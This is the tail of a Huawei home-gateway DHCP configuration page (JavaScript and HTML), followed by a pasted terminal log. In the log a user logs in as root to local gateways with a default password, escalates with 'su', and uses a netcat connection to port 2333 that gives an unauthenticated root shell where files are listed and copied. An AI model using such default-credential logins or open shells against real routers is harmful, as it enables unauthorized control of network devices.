function condhcpst(domain,enable,ipstart,ipend,gateway)

{

  this.Domain   = domain;

  this.enable   = enable;

  this.ipstart   = ipstart;

  this.ipend    = ipend;

  this.gateway  = gateway;

}


function madhcpst(domain,ipstart,ipend,gateway)

{

  this.Domain   = domain;

  this.ipstart   = ipstart;

  this.ipend    = ipend;

  this.gateway  = gateway;

}


function CheckForm11(type)

{

  var result = true;

  var ethIpAddress = getValue('routeIP');

  var ethSubnetMask = getValue('ethSubnetMask');

  var slaveIpAddress = "192.168.2.1";

  var slaveSubnetMask = "255.255.255.0";


  if(gstuseallslvpool == "1")

  {

    if(true==isSameSubNet(ethIpAddress, ethSubnetMask,SlaveIpAddr,SlaveIpMask))

    {

      return false;

    }

  }

  if ( isValidIpAddress(ethIpAddress) == false )

  {

    return false;

  }

  if ( isValidSubnetMask(ethSubnetMask) == false )

  {

    return false;

  }

  if (ClassAIpSupportFlag != 1)

  {

    if ( isMaskOf24BitOrMore(ethSubnetMask) == false )

    {

      return false;

    }

  }


  if(isHostIpWithSubnetMask(ethIpAddress, ethSubnetMask) == false)

  {

    return false;

  }

  if ( isBroadcastIp(ethIpAddress, ethSubnetMask) == true )

  {

    return false;

  }



  if ( isValidIpAddress(slaveIpAddress) == false )

  {

     return false;

  }

  if ( isValidSubnetMask(slaveSubnetMask) == false )

  {

     return false;

  }

  if (ClassAIpSupportFlag != 1)

  {

    if ( isMaskOf24BitOrMore(slaveSubnetMask) == false )

    {

      return false;

    }

  }


  if(isHostIpWithSubnetMask(slaveIpAddress, slaveSubnetMask) == false)

  {

    return false;

  }

  if ( isBroadcastIp(slaveIpAddress, slaveSubnetMask) == true )

  {

    return false;

  }


  if(SlaveDhcpInfos[0] != null)

  {


    if((0 == LanAddrSplitFlag && 1 == SlaveDhcpInfos[0].enable) || (1 == LanAddrSplitFlag))

    {

       if (slaveIpAddress == ethIpAddress)

       {

         return false;

       }

       if(true==isSameSubNet(ethIpAddress, ethSubnetMask,slaveIpAddress,slaveSubnetMask))

       {

         return false;

       }

    }

  }


  if(( getValue('routeIP').split(".")[3] > 127 ) && (curUserType != sysUserType))

  {

    return false;

  }


  if (1 == ClassAIpSupportFlag)

  {

    for (var i = 0;i < GetWanList().length;i++)

    {

      var CurrentWan = GetWanList()[i];

      if (CurrentWan.IPv4IPAddress != '0.0.0.0' && CurrentWan.IPv4SubnetMask != '0.0.0.0'

        && CurrentWan.IPv4IPAddress != '' && CurrentWan.IPv4SubnetMask != '' )

      {

        if (getValue('routeIP') == CurrentWan.IPv4IPAddress)

        {

          return false;

        }


        if (CurrentWan.IPv4Enable == "1")

        {

          if(true==isSameSubNet(getValue('routeIP'), getValue('ethSubnetMask'),

                     CurrentWan.IPv4IPAddress, CurrentWan.IPv4SubnetMask))

          {

            return false;

          }


          if(true==isSameSubNet(slaveIpAddress, slaveSubnetMask,

                   CurrentWan.IPv4IPAddress, CurrentWan.IPv4SubnetMask))

          {

            return false;

          }

        }

      }

    }

  }

  return result;


}



function CheckForm1(type)

{

  var result = true;

  var ethIpAddress = getValue('routeIP');

  var ethSubnetMask = getValue('ethSubnetMask');

  var slaveIpAddress = "192.168.2.1";

  var slaveSubnetMask = "255.255.255.0";


  if(gstuseallslvpool == "1")

  {

    if(true==isSameSubNet(ethIpAddress, ethSubnetMask,SlaveIpAddr,SlaveIpMask))

    {

      AlertEx(dhcp_language['bbsp_ipsamegusetip1'] + dhcp_language['bbsp_ipsamegusetip2'] + SlaveIpAddr);

      return false;

    }

  }

  if ( isValidIpAddress(ethIpAddress) == false )

  {

    AlertEx(dhcp_language['bbsp_ipmhaddrp'] + ethIpAddress + dhcp_language['bbsp_isinvalidp']);

    return false;

  }

  if ( isValidSubnetMask(ethSubnetMask) == false )

  {

    AlertEx(dhcp_language['bbsp_subnetmaskmh'] + ethSubnetMask + dhcp_language['bbsp_isinvalidp']);

    return false;

  }

  if (ClassAIpSupportFlag != 1)

  {

    if ( isMaskOf24BitOrMore(ethSubnetMask) == false )

    {

      AlertEx(dhcp_language['bbsp_subnetmaskmh'] + ethSubnetMask + dhcp_language['bbsp_isinvalidp'] + dhcp_language['bbsp_maskerrorinfo']);

      return false;

     }

  }


  if(isHostIpWithSubnetMask(ethIpAddress, ethSubnetMask) == false)

  {

    AlertEx(dhcp_language['bbsp_ipmhaddrp'] + ethIpAddress + dhcp_language['bbsp_isinvalidp']);

    return false;

  }

  if ( isBroadcastIp(ethIpAddress, ethSubnetMask) == true )

  {

    AlertEx(dhcp_language['bbsp_ipmhaddrp'] + ethIpAddress + dhcp_language['bbsp_isinvalidp']);

    return false;

  }


  if ( isValidIpAddress(slaveIpAddress) == false )

  {

     AlertEx(dhcp_language['bbsp_ipaddrp'] + slaveIpAddress + dhcp_language['bbsp_isinvalidp']);

     return false;

  }

  if ( isValidSubnetMask(slaveSubnetMask) == false )

  {

     AlertEx(dhcp_language['bbsp_subnetmaskp'] + slaveSubnetMask + dhcp_language['bbsp_isinvalidp']);

     return false;

  }

  if (ClassAIpSupportFlag != 1)

  {

    if ( isMaskOf24BitOrMore(slaveSubnetMask) == false )

    {

      AlertEx(dhcp_language['bbsp_subnetmaskp'] + slaveSubnetMask + dhcp_language['bbsp_isinvalidp'] + dhcp_language['bbsp_maskerrorinfo']);

      return false;

    }

  }


  if(isHostIpWithSubnetMask(slaveIpAddress, slaveSubnetMask) == false)

  {

    AlertEx(dhcp_language['bbsp_ipaddrp'] + slaveIpAddress + dhcp_language['bbsp_isinvalidp']);

    return false;

  }

  if ( isBroadcastIp(slaveIpAddress, slaveSubnetMask) == true )

  {

    AlertEx(dhcp_language['bbsp_ipaddrp'] + slaveIpAddress + dhcp_language['bbsp_isinvalidp']);

    return false;


  }


  if(SlaveDhcpInfos[0] != null)

  {

      if((0 == LanAddrSplitFlag && 1 == SlaveDhcpInfos[0].enable) || (1 == LanAddrSplitFlag))

      {

         if (slaveIpAddress == ethIpAddress)

         {

           AlertEx(dhcp_language['bbsp_pridhcpsecdhcp']);

           return false;

         }


         if(true==isSameSubNet(ethIpAddress, ethSubnetMask,slaveIpAddress,slaveSubnetMask))

         {

           AlertEx(dhcp_language['bbsp_pridhcpsecdhcp']);

           return false;

         }

      }


   }


  if(( getValue('routeIP').split(".")[3] > 127 ) && (curUserType != sysUserType))

  {

    AlertEx(dhcp_language['bbsp_iprangeinvalid']);

    return false;

  }


  if (1 == ClassAIpSupportFlag)

  {

    for (var i = 0;i < GetWanList().length;i++)

    {

      var CurrentWan = GetWanList()[i];

      if (CurrentWan.IPv4IPAddress != '0.0.0.0' && CurrentWan.IPv4SubnetMask != '0.0.0.0'

        && CurrentWan.IPv4IPAddress != '' && CurrentWan.IPv4SubnetMask != '' )

      {

        if (getValue('routeIP') == CurrentWan.IPv4IPAddress)

        {

          AlertEx(dhcp_language['bbsp_ipdifwan']);

          return false;

        }


        if (CurrentWan.IPv4Enable == "1")

        {

          if(true==isSameSubNet(getValue('routeIP'), getValue('ethSubnetMask'),

                     CurrentWan.IPv4IPAddress, CurrentWan.IPv4SubnetMask))

          {

             AlertEx(dhcp_language['bbsp_lanwanipcheck']);

            return false;

          }


          if(true==isSameSubNet(slaveIpAddress, slaveSubnetMask,

                   CurrentWan.IPv4IPAddress, CurrentWan.IPv4SubnetMask))

          {

            AlertEx(dhcp_language['bbsp_lanwanipcheck']);

            return false;

          }

        }

      }

    }

  }

  if (CfgModeWord == 'SCCTAP')

  {

    if ((getValue('dnsMainPri') != '') && ((isValidIpAddress(getValue('dnsMainPri')) == false) ||

      (isAbcIpAddress(getValue('dnsMainPri')) == false))) {

      AlertEx(dhcp2_language['bbsp_pripoolpridnsinvalid']);

      return false;

    }

    if ((getValue('dnsMainSec') != '') && ((isValidIpAddress(getValue('dnsMainSec')) == false) ||

      (isAbcIpAddress(getValue('dnsMainSec')) == false))) {

      AlertEx(dhcp2_language['bbsp_pripoolsecdndinvalid']);

      return false;

    }

  }

  return result;

}


function CheckForm2(type)

{

  var IpMin;

  var IPMax;

  var routeIPRange = document.getElementById("routeIPRange").innerText;

  var mainstartipaddr1 = routeIPRange + getValue('mainstartipaddr');

  var mainendipaddr1 = routeIPRange + getValue('mainendipaddr');

  with ( document.forms[0] )

  {

    if (1 == $('#dhcpSrvType').attr("DHCPServerFlag"))

    {

      if (isValidIpAddress(mainstartipaddr1) == false)

      {

        AlertEx(dhcp2_language['bbsp_pridhcpstipinvalid']);

        return false;

      }


      if (isBroadcastIp(mainstartipaddr1, LanIpInfos[0].subnetmask) == true)

      {

        AlertEx(dhcp2_language['bbsp_pridhcpstipinvalid']);

        return false;

      }



      if (isValidIpAddress(mainendipaddr1) == false)

      {

        AlertEx(dhcp2_language['bbsp_dhcpendipinvalid']);

        return false;

      }



      if(isBroadcastIp(mainendipaddr1, LanIpInfos[0].subnetmask) == true)

      {

        AlertEx(dhcp2_language['bbsp_dhcpendipinvalid']);

        return false;

      }


      if (!(isEndGTEStart(mainendipaddr1, mainstartipaddr1)))

      {

        AlertEx(dhcp2_language['bbsp_priendipgeqstartip']);

        return false;

      }


      if(1 == gstwfpoolfeature)

      {

        if (!guestwififlag)

        {

          if((ConditionDhcpInfos[1].Gateway == LanIpInfos[0].ipaddr) &&

            ((IsLessThan(ConditionDhcpInfos[1].DhcpStart, mainendipaddr1) && IsLessThan(mainstartipaddr1, ConditionDhcpInfos[1].DhcpStart)) ||

            (IsLessThan(ConditionDhcpInfos[1].DhcpStart, mainstartipaddr1) && IsLessThan(mainstartipaddr1, ConditionDhcpInfos[1].DhcpEnd))))

          {

            AlertEx(dhcp2_language['bbsp_mainpoolingstwfpool']);

            return false;

          }

        }

      }

      if(PolicyRouteNum > 0)

       {

        var IpStartNew = mainstartipaddr1.split('.');

        var IpEndNew = mainendipaddr1.split('.');

        var IpMinNew = parseInt(IpStartNew[3]);

        var IpMaxNew = parseInt(IpEndNew[3]);


        var IpStartOld = MainDhcpRange[0].ipstart.split('.');

        var IpEndOld = MainDhcpRange[0].ipend.split('.');

        var IpMinOld = parseInt(IpStartOld[3]);

        var IpMaxOld = parseInt(IpEndOld[3]);

        if (IpMinNew > IpMinOld || IpMaxNew < IpMaxOld)

        {


          AlertEx(dhcp2_language['bbsp_ippoolpolicyrouteinvalid']);

          return false;

        }

      }


      if (false == checkLease("bbsp_pripool",getValue('MainLeasedTime'),getValue('maindhcpLeasedTimeFrag'),dhcp2_language))

      {

        return false;

      }

    }

  }

  return true;

}


function GetPolicyRouteListLength(PolicyRouteList, Type)

{

  var Count = 0;


  if (PolicyRouteList == null)

  {

    return 0;

  }


  for (var i = 0; i < PolicyRouteList.length; i++)

  {

    if (PolicyRouteList[i] == null)

    {

      continue;

    }


    if (PolicyRouteList[i].Type == Type)

    {

      Count++;

    }

  }


  return Count;

}


function GetCurrentLoginIP()

{

  var CurUrlHost = (window.location.host).toUpperCase();

  var CurUrlIp = CurUrlHost.split(":")[0];

  return CurUrlIp;

}


function AddSubmitParam1(Form,type)

{

  var RequestFile = 'html/bbsp/landhcp/landhcp_ap.asp';

  var enableslave = 1;

  var url = '';


  if(!(( 1 == IsTELECOMFlag) && (curUserType != sysUserType)))

  {

    with (document.forms[0])

    {

      Form.addParameter('x.IPInterfaceIPAddress',getValue('routeIP'));

      Form.addParameter('x.IPInterfaceSubnetMask',getValue('ethSubnetMask'));


      if ((SingtelMode == '1') || (gstuseallslvpool == "1"))

      {

          url = 'x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1';

      }

      else

      {

        Form.addParameter('z.Enable',enableslave);

        var isSetGst = true;

        if('1' == gstwfpoolfeature)

        {

          if(true == IsNeedDelCond2())

          {

            var ParameterList = '';

            var Url = '/complexajax.cgi?&Del_w=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPConditionalServingPool.2' ;

            HWGetAction(Url, ParameterList, getValue('onttoken'));

            isSetGst = false;

          }

          if((isSetGst == true) && (ConditionDhcpInfos[1].gateway == LanHostInfos[1].ipaddr))

          {

            if(ConditionDhcpInfos[0].enable == '1')

            {

              Form.addParameter('w.Enable',enableslave);

            }

            else

            {

              Form.addParameter('w.Enable',ConditionDhcpInfos[0].enable);

            }

            if((enableslave == '1') && (ConditionDhcpInfos[0].enable == '1'))

            {

              Form.addParameter('w.MinAddress',ConditionDhcpInfos[1].ipstart);

              Form.addParameter('w.MaxAddress',ConditionDhcpInfos[1].ipend);

            }

          }

        }

        if (enableslave == '1')

        {

          if (LanHostInfo2[0] == null)

          {

            $.ajax({

               type : "POST",

               async : false,

               cache : false,

               data : "z.IPInterfaceIPAddress="+slaveIpAddress +"&z.IPInterfaceSubnetMask="+slaveSubnetMask+"&z.Enable="+enableslave+"&x.X_HW_Token="+getValue('onttoken'),

                 url : 'add.cgi?'+ 'z=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface'+'&RequestFile=html/not_find_file.asp',

               success : function(data) {

               },

               complete: function (XHR, TS) {

                XHR=null;

                 }

              });

          }

          else

          {

            Form.addParameter('z.IPInterfaceIPAddress',slaveIpAddress);

            Form.addParameter('z.IPInterfaceSubnetMask',slaveSubnetMask);

          }



        }

        if((isSetGst == true) && ('1' == gstwfpoolfeature))

        {

          url = 'x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1'

           + '&z=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2'

           + '&w=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPConditionalServingPool.2'  ;

        }

        else

        {

          url = 'x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1'

           + '&z=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2';

        }

      }


      var DHCPEnable = 0;

      var DHCPL2RelayEnable = 1;

      var Option125Enable = 1;

      var url1 = '';

      var DnsMStr = '';


      var DHCPServerEnable = $("#dhcpSrvType").attr("DHCPServerFlag");

      var MinAddress = document.getElementById("routeIPRange").innerText + getValue('mainstartipaddr');

      var MaxAddress = document.getElementById("routeIPRange").innerText + getValue('mainendipaddr');

      var DHCPLeaseTime = getValue('MainLeasedTime')*getValue('maindhcpLeasedTimeFrag');

      if (CfgModeWord == 'SCCTAP')

      {

        DnsMStr = GetDnsMStr();

      }

      if(DHCPServerEnable == 1)

      {


        Form.addParameter('c.DHCPEnable',DHCPEnable);

        Form.addParameter('d.DHCPServerEnable',DHCPServerEnable);

        Form.addParameter('d.X_HW_DHCPL2RelayEnable',DHCPL2RelayEnable);

        Form.addParameter('d.X_HW_Option125Enable',Option125Enable);

        Form.addParameter('d.X_HW_DNSList', DnsMStr);

        Form.addParameter('d.MinAddress',MinAddress);

        Form.addParameter('d.MaxAddress',MaxAddress);

        Form.addParameter('d.DHCPLeaseTime',DHCPLeaseTime);

        if(url != '')

        {

          url1 = 'set.cgi?' + url

               + '&e=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2'

               + '&c=InternetGatewayDevice.X_HW_DHCPSLVSERVER'

               +'&d=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement';

        }

        else

        {

          url1 = 'set.cgi?'

               + 'e=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2'

               + '&c=InternetGatewayDevice.X_HW_DHCPSLVSERVER'

               +'&d=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement';

        }


      }

      else

      {

        Form.addParameter('c.DHCPEnable',DHCPEnable);

        Form.addParameter('d.DHCPServerEnable',DHCPServerEnable);

        Form.addParameter('d.X_HW_DHCPL2RelayEnable',DHCPL2RelayEnable);

        Form.addParameter('d.X_HW_Option125Enable',Option125Enable);

        Form.addParameter('d.X_HW_DNSList','');

        Form.addParameter('d.DHCPLeaseTime',DHCPLeaseTime);

        if(url != '')

        {

          url1 = 'set.cgi?' + url

               + '&e=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2'

               + '&c=InternetGatewayDevice.X_HW_DHCPSLVSERVER'

               +'&d=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement';

        }

        else

        {

          url1 = 'set.cgi?'

               + 'e=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2'

               + '&c=InternetGatewayDevice.X_HW_DHCPSLVSERVER'

               +'&d=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement';

        }

      }


      url1 += '&RequestFile=' + RequestFile;

      Form.setAction(url1);

    }

  setDisable('dhcpSrvType',1);

  }

}



function IsNeedDelCond2()

{

  if((ConditionDhcpInfos[1].gateway == LanHostInfos[1].ipaddr) &&

    ((LanHostInfos[1].ipaddr != slaveIpAddress) || (LanHostInfos[1].subnetmask != slaveSubnetMask)))

  {

    return true;

  }

  if((ConditionDhcpInfos[1].gateway == LanHostInfos[0].ipaddr) &&

    ((LanHostInfos[0].ipaddr != getValue('routeIP')) || (LanHostInfos[1].subnetmask != getValue('ethSubnetMask'))))

  {

    return true;

  }

  return false;

}

</script>

</head>

<body onLoad="LoadFrame();" class="mainbody">

<script language="JavaScript" type="text/javascript">

HWCreatePageHeadInfo("dhcpstatic", GetDescFormArrayById(lanDHCP_language, "bbsp_mune"), GetDescFormArrayById(lanDHCP_language, "bbsp_dhcpstatic_title"), false);

</script>

<div class="title_spread"></div>

<form id="Lan_DHCPForm1">

  <table id="DHCPformSet">

    <tr>

      <td>

        <script>document.write(lanDHCP_language['lan_dhcp001']);</script>

      </td>

      <td class="text-align-left">

        <input id="routeIP" class="routeIP" type="text" value="" onkeyup="routeIPChange(this.id)">

        <input id="ethSubnetMask" class="routeIP" type="text" value="" style="display:none">

      </td>

    </tr>

    <tr>

      <td>

        <script>document.write(lanDHCP_language["lan_dhcp002"]);</script>

      </td>

      <td class="text-align-left">

        <div id="dhcpSrvType" DHCPServerFlag=""></div>

      </td>

    </tr>

    <tr>

      <td>

        <script>document.write(lanDHCP_language["lan_dhcp003"]);</script>

      </td>

      <td class=" text-align-left" style="width:auto;">

        <div id="routeIPRange"></div>

      </td>

      <td class="text-align-left" style="margin-left:0px;width:50px">

        <input id="mainstartipaddr" class="IPSet" type="text" value="2">

      </td>

      <td class="text-align-left" style="margin-left:12px;width:20px">

        --

      </td>

      <td class="text-align-left" style="margin-left:0px;width:50px">

        <input id="mainendipaddr" class="IPSet" type="text" value="254">

      </td>

    </tr>

    <tr>

      <td>

        <script>document.write(lanDHCP_language["lan_dhcp004"]);</script>

      </td>

      <td class="text-align-left td_width150">

        <input id="MainLeasedTime" class="daysSet" type="text" value="3">

      </td>

      <td class="text-align-left td_width150" style="margin-left:10px;">

        <select class="daysSet" id="maindhcpLeasedTimeFrag">

          <option value="60"><script>document.write(lanDHCP_language["lan_dhcp005"]);</script></option>

          <option value="3600"><script>document.write(lanDHCP_language["lan_dhcp006"]);</script></option>

          <option value="86400"><script>document.write(lanDHCP_language["lan_dhcp007"]);</script></option>

          <option value="604800"><script>document.write(lanDHCP_language["lan_dhcp008"]);</script></option>

        </select>

      </td>

    </tr>

    <tr id="DNSServerPri" style="display: none">

      <td>

        <script>document.write(dhcp2_language['bbsp_pridnsmh']);</script>

      </td>

      <td class="text-align-left">

        <input id="dnsMainPri" type="text" class="routeIP" value="" maxlength="15">

      </td>

    </tr>

    <tr id="DNSServerSec" style="display: none;">

      <td>

        <script>document.write(dhcp2_language['bbsp_secdnsmh']);</script>

      </td>

      <td class="text-align-left">

        <input id="dnsMainSec" type="text" class="routeIP" value="" maxlength="15">

      </td>

    </tr>

  </table>

</form>


<button type="button" class="LanDHCPButton ApplyButtoncss" onClick="RouteIPSubmit(0);"><script>document.write(lanDHCP_language["lan_dhcp009"]);</script></button>


<p style="margin:12px 0;"><script>document.write(lanDHCP_language['lan_dhcp010']);</script></p>


<script language="JavaScript" type="text/javascript">

  var TableClass = new stTableClass("width_per25", "width_per75", "ltr");

  var DhcpStaticConfiglistInfo = new Array(new stTableTileInfo("Empty","","DomainBox"),

                  new stTableTileInfo("bbsp_macaddrtitle","","macAddress"),

                  new stTableTileInfo("bbsp_ipaddrtitle","","ipAddress"),null);

  var ColumnNum = 3;

  var ShowButtonFlag = true;

  var DhcpStaticTableConfigInfoList = new Array();

  var TableDataInfo = HWcloneObject(Dhcp, 1);

  TableDataInfo.push(null);

  HWShowTableListByType(1, TableName, ShowButtonFlag, ColumnNum, TableDataInfo, DhcpStaticConfiglistInfo, dhcpstatic_language, null);

</script>



<form id="TableConfigInfo" style="display:none;">

<div class="list_table_spread"></div>

  <table border="0" cellpadding="0" cellspacing="1" width="100%">

    <li  id="macAddr"  RealType="TextBox"     DescRef="bbsp_macaddr"     RemarkRef="bbsp_macaddform"   ErrorMsgRef="Empty"  Require="FALSE"   BindField="x.Chaddr"  Elementclass="InputDhcp"  InitValue="Empty"/>

<script language="JavaScript" type="text/javascript">

  if (SingtelMode == '1')

  {

    document.write(" \<li  id=\"ipAddr\"   RealType=\"TextBox\"     DescRef=\"bbsp_ipaddr\"     RemarkRef=\"bbsp_ipaddform\"   ErrorMsgRef=\"Empty\"  Require=\"FALSE\"   BindField=\"x.Yiaddr\" Elementclass=\"InputDhcp\"  InitValue=\"Empty\"\/\> ");

  }

  else

  {

    document.write(" \<li  id=\"ipAddr\"   RealType=\"TextBox\"     DescRef=\"bbsp_ipaddr\"     RemarkRef=\"\"   ErrorMsgRef=\"Empty\"  Require=\"FALSE\"   BindField=\"x.Yiaddr\" Elementclass=\"InputDhcp\"  InitValue=\"Empty\"\/\> ");

  }

</script>

  </table>

  <script language="JavaScript" type="text/javascript">

  DhcpStaticConfigFormList = HWGetLiIdListByForm("TableConfigInfo", null);

  HWParsePageControlByID("TableConfigInfo", TableClass, dhcpstatic_language, null);

  </script>

  <table  cellpadding="0" cellspacing="0" width="100%" class="table_button">

    <tr>

     <td class='width_per25'></td>

      <td class="table_submit">

        <input type="hidden" name="onttoken" id="hwonttoken" value="4f4ac4a58356dd24610c977dcea82b4ade6a980b3e356030">

        <button id="btnApply_ex" name="btnApply_ex" type="button" class="ApplyButtoncss buttonwidth_100px" onClick="AddSubmitParam();"><script>document.write(dhcpstatic_language['bbsp_apply']);</script></button>

        <button id="cancel" name="cancel" type="button" class="CancleButtonCss buttonwidth_100px" onClick="Cancel();"><script>document.write(dhcpstatic_language['bbsp_cancle']);</script></button>

      </td>

    </tr>

  </table>

</form>


<script>

$("#dhcpSrvType").click(function(){

  if($(this).attr("DHCPServerFlag") == "1")

  {

    $("#dhcpSrvType").css("background-image","url(../../../images/equls-left.jpg)");

    $(this).attr("DHCPServerFlag","0");

  }

  else

  {

    $("#dhcpSrvType").css("background-image","url(../../../images/equls-right.gif)");

    $(this).attr("DHCPServerFlag","1");

  }

  changedisable();

})


function changedisable()

{

  if($('#dhcpSrvType').attr("DHCPServerFlag") == "1")

  {

    setDisable('mainstartipaddr',0);

    setDisable('mainendipaddr',0);

    setDisable('MainLeasedTime',0);

    setDisable('maindhcpLeasedTimeFrag',0);

  }

  else

  {

    setDisable('mainstartipaddr',1);

    setDisable('mainendipaddr',1);

    setDisable('MainLeasedTime',1);

    setDisable('maindhcpLeasedTimeFrag',1);

  }

}

</script>

</body>

</html>

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$ nslookup www.baidu.com

Server:     10.255.255.254

Address:    10.255.255.254#53


www.baidu.com  canonical name = www.a.shifen.com.

Name:  www.a.shifen.com

Address: 180.101.49.44

Name:  www.a.shifen.com

Address: 180.101.51.73


panxf@LPT028958:~/code$ nslookup www.x.com

Server:     10.255.255.254

Address:    10.255.255.254#53


Name:  www.x.com

Address: 198.18.0.27


panxf@LPT028958:~/code$ ipconfig

Command 'ipconfig' not found, did you mean:

 command 'hipconfig' from deb hipcc (5.2.3-12)

 command 'iwconfig' from deb wireless-tools (30~pre9-13.1ubuntu4)

 command 'ifconfig' from deb net-tools (2.10-0.1ubuntu4.4)

 command 'iconfig' from deb ipmiutil (3.1.9-3)

Try: sudo apt install <deb name>

panxf@LPT028958:~/code$ telnet 192.168.1.9

Trying 192.168.1.9...

^C

panxf@LPT028958:~/code$ telnet 192.168.2.1

Trying 192.168.2.1...

^C

panxf@LPT028958:~/code$ telnet 192.168.2.1

Trying 192.168.2.1...

^C

panxf@LPT028958:~/code$ curl x.com

curl: (52) Empty reply from server

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$ nslookup www.x.com

Server:     10.255.255.254

Address:    10.255.255.254#53


Name:  www.x.com

Address: 198.18.0.27


panxf@LPT028958:~/code$ curl x.com

curl: (52) Empty reply from server

panxf@LPT028958:~/code$ route ?

Usage: route [-nNvee] [-FC] [<AF>]      List kernel routing tables

    route [-v] [-FC] {add|del|flush} ... Modify routing table for AF.


    route {-h|--help} [<AF>]       Detailed usage syntax for specified AF.

    route {-V|--version}         Display version/author and exit.


    -v, --verbose      be verbose

    -n, --numeric      don't resolve names

    -e, --extend       display other/more information

    -F, --fib        display Forwarding Information Base (default)

    -C, --cache       display routing cache instead of FIB


 <AF>=Use -4, -6, '-A <af>' or '--<af>'; default: inet

 List of possible address families (which support routing):

  inet (DARPA Internet) inet6 (IPv6) ax25 (AMPR AX.25)

  netrom (AMPR NET/ROM) rose (AMPR ROSE) ipx (Novell IPX)

  ddp (Appletalk DDP) x25 (CCITT X.25)

panxf@LPT028958:~/code$ which nc

/usr/bin/nc

panxf@LPT028958:~/code$ ping 192.168.2.1

PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.

64 bytes from 192.168.2.1: icmp_seq=1 ttl=63 time=3.63 ms

64 bytes from 192.168.2.1: icmp_seq=2 ttl=63 time=3.55 ms

^C

--- 192.168.2.1 ping statistics ---

2 packets transmitted, 2 received, 0% packet loss, time 999ms

rtt min/avg/max/mdev = 3.553/3.591/3.630/0.038 ms

panxf@LPT028958:~/code$ telnet 192.168.2.1

Trying 192.168.2.1...

^C

panxf@LPT028958:~/code$ ^C

panxf@LPT028958:~/code$ telnet 192.168.1.9

Trying 192.168.1.9...

^C

panxf@LPT028958:~/code$ telnet 192.168.1.9

Trying 192.168.1.9...




telnet: Unable to connect to remote host: No route to host

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$ nc 192.168.1.9 2333




panxf@LPT028958:~/code$

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$ nc 192.168.1.9 2333





^C

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$ telnet 192.168.1.9

Trying 192.168.1.9...

Connected to 192.168.1.9.

Escape character is '^]'.


Welcome Visiting Huawei Home Gateway

Copyright by Huawei Technologies Co., Ltd.


Login:root

Password:

The number of sessions exceeds the specificaitons. Remove one session:

1. telnet-192.168.1.20


Enter the ID of the session to be removed:

1

Password is default value, please modify it!

WAP>

Last login: User:root IP:192.168.1.20 Time:2025-09-21 00:21:17


WAP>su

success!

SU_WAP>

SU_WAP>

SU_WAP>Connection closed by foreign host.

panxf@LPT028958:~/code$ telnet 192.168.1.9

Trying 192.168.1.9...

telnet: Unable to connect to remote host: Connection refused

panxf@LPT028958:~/code$ telnet 192.168.2.1

Trying 192.168.2.1...

telnet: Unable to connect to remote host: Connection refused

panxf@LPT028958:~/code$ telnet 192.168.2.1

Trying 192.168.2.1...

telnet: Unable to connect to remote host: Connection refused

panxf@LPT028958:~/code$ ssh 192.168.2.1

The authenticity of host '192.168.2.1 (192.168.2.1)' can't be established.

RSA key fingerprint is SHA256:xUTavtza7rzUUfWcrMg2/1zhGfZ0I7uFW9Fd0OTuyyM.

This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '192.168.2.1' (RSA) to the list of known hosts.

panxf@192.168.2.1's password:


panxf@LPT028958:~/code$ ssh root@192.168.2.1

root@192.168.2.1's password:


Password is default value, please modify it!

WAP>

Last login: User:root IP:192.168.1.20 Time:2025-09-20 12:00:55


WAP>

WAP>su

success!

SU_WAP>

SU_WAP>Connection to 192.168.2.1 closed by remote host.

Connection to 192.168.2.1 closed.

panxf@LPT028958:~/code$ nc 192.168.2.1 2333


ls

CuInform

bin

boot

ctcap

dev

etc

html

init

ipks

lib

libexec

linuxrc

mnt

proc

root

sbin

share

sys

tmp

usr

var

pwd

/

cd /sbin

ls

BackStackInfo.sh

GetChipDes

GetFeature

GetSpec

Reloadlog

SaveDhcpUser.sh

arp

blkid

brctl

busybox.suid

chpasswd

chroot

crond

depmod

dhcprelay

dnsmasq

get_feature_spec

getty

halt

hwclock

ifconfig

init

insmod

ip6tables

ip6tables-restore

ip6tables-save

ipset

iptables

iptables-restore

iptables-save

klogd

logread

lsmod

mdev

modprobe

nologin

ntpd

ontchmod

ontchown

ontmodown

reboot

release.sh

rmmod

route

setconsole

start-stop-daemon

sys_init.sh

sysctl

syslogd

vconfig

xtables-legacy-multi

ls

panxf@LPT028958:~/code$ nc 192.168.2.1 2333

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$ nc 192.168.2.1 2333

panxf@LPT028958:~/code$

panxf@LPT028958:~/code$ ls

CLAUDE.md SuperClaude_Framework word-memory-app word-memory-backend 单词记忆web应用需求文档.md 系统架构文档.md

panxf@LPT028958:~/code$ nc 192.168.2.1 2333

ls

CuInform

bin

boot

ctcap

dev

etc

html

init

ipks

lib

libexec

linuxrc

mnt

proc

root

sbin

share

sys

tmp

usr

var

cd /mnt/jffs2/app/cplugin/cplugin1/

ls

Data

Info.plugin

MyPlugin

MyPlugin.2

Temp

apLocalFlash

install_dir

cp -r MyPlugin MyPlugin.2

ls

Data

Info.plugin

MyPlugin

MyPlugin.2

Temp

apLocalFlash

install_dir

